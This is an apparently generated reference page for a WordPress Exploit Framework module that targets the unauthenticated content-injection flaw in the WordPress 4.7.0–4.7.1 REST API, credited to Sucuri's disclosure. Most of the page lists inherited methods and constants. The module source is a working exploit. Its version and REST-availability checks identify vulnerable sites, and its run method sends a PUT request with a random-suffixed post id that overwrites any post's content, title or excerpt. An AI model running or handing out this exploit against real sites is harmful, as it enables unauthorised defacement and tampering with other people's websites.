Class: Wpxf::Auxiliary::WpV471ContentInjection

Inherits:
Module
  • Object
show all
Includes:
Wpxf
Defined in:
lib/wpxf/modules/auxiliary/misc/wp_v4.7.1_content_injection.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initializeWpV471ContentInjection

Returns a new instance of WpV471ContentInjection.



6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# File 'lib/wpxf/modules/auxiliary/misc/wp_v4.7.1_content_injection.rb', line 6

def initialize
  super

  update_info(
    name: 'WordPress 4.7.0 - 4.7.1 Unauthenticated Content Injection',
    desc: %(
      The REST API in versions 4.7.0 and 4.7.1 of WordPress contain a number
      of validation issues, which allow unauthenticated users to edit any post
      on the target installation.

      If the target has the API enabled (enabled by default), this module will
      update the post with the specified content, title and or excerpt.
    ),
    author: [
      'Sucuri <sucuri.net>', # Disclosure
      'rastating'            # WPXF module
    ],
    references: [
      ['WPVDB', '8734'],
      ['URL', 'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html']
    ],
    date: 'Feb 01 2017'
  )

  register_options([
    IntegerOption.new(
      name: 'post_id',
      desc: 'The ID of the post to update',
      required: true
    ),
    StringOption.new(
      name: 'content',
      desc: 'The content to inject',
      required: false
    ),
    StringOption.new(
      name: 'title',
      desc: 'The title to inject',
      required: false
    ),
    StringOption.new(
      name: 'excerpt',
      desc: 'The excerpt to inject',
      required: false
    )
  ])
end

Instance Method Details

#api_request_bodyObject



78
79
80
81
82
83
84
# File 'lib/wpxf/modules/auxiliary/misc/wp_v4.7.1_content_injection.rb', line 78

def api_request_body
  data = {}
  data['content'] = datastore['content'] if datastore['content']
  data['title'] = datastore['title'] if datastore['title']
  data['excerpt'] = datastore['excerpt'] if datastore['excerpt']
  data
end

#checkObject



54
55
56
57
58
59
60
61
62
63
# File 'lib/wpxf/modules/auxiliary/misc/wp_v4.7.1_content_injection.rb', line 54

def check
  version = wordpress_version
  return :unknown if version.nil?

  if version == Gem::Version.new('4.7') || version == Gem::Version.new('4.7.1')
    return :vulnerable if rest_api_is_available
  end

  :safe
end

#post_idObject



70
71
72
# File 'lib/wpxf/modules/auxiliary/misc/wp_v4.7.1_content_injection.rb', line 70

def post_id
  normalized_option_value('post_id')
end

#post_routeObject



74
75
76
# File 'lib/wpxf/modules/auxiliary/misc/wp_v4.7.1_content_injection.rb', line 74

def post_route
  normalize_uri(wordpress_url_rest_api, 'wp', 'v2', 'posts', post_id)
end

#rest_api_is_availableObject



65
66
67
68
# File 'lib/wpxf/modules/auxiliary/misc/wp_v4.7.1_content_injection.rb', line 65

def rest_api_is_available
  res = execute_get_request(url: wordpress_url_rest_api)
  (res && res.code == 200)
end

#runObject



86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
# File 'lib/wpxf/modules/auxiliary/misc/wp_v4.7.1_content_injection.rb', line 86

def run
  return false unless super

  emit_info 'Building request...'
  data = api_request_body
  emit_info "Request: #{data.inspect}", true

  emit_info 'Injecting content...'
  execute_put_request(
    url: post_route,
    body: data.to_json,
    params: {
      'id' => "#{post_id}#{Utility::Text.rand_alpha(3)}"
    },
    headers: {
      'Content-Type' => 'application/json'
    }
  )

  true
end